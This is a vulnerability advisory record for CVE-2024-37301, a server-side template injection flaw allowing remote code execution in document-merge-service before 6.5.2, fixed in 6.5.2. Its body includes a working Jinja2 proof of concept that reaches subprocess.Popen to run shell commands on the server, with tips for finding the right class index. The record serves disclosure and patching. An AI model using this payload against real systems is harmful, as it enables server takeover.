{"id":"CVE-2024-37301","aliases":["GHSA-v5gf-r78h-55q6","PYSEC-2026-1314"],"title":"document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection","summary":"document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection","severity":"high","cvss":7.2,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","vendor":"document-merge-service","product":"document-merge-service","ecosystem":"pip","affected":["document-merge-service < 6.5.2"],"patched":["document-merge-service 6.5.2"],"published":"2024-06-11","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-v5gf-r78h-55q6","references":[{"url":"https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37301"},{"url":"https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"},{"url":"https://github.com/adfinis/document-merge-service"}],"tags":["osv","pip"],"epss":0.0104,"epssPercentile":0.62501,"ingestedAt":"2026-07-08T18:25:53.083Z","slug":"CVE-2024-37301","body":"## Overview\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n## Affected packages\n\n- `document-merge-service < 6.5.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `document-merge-service 6.5.2`","depth":"twilight","depthScore":40,"depthScoreParts":{"impact":39.6,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}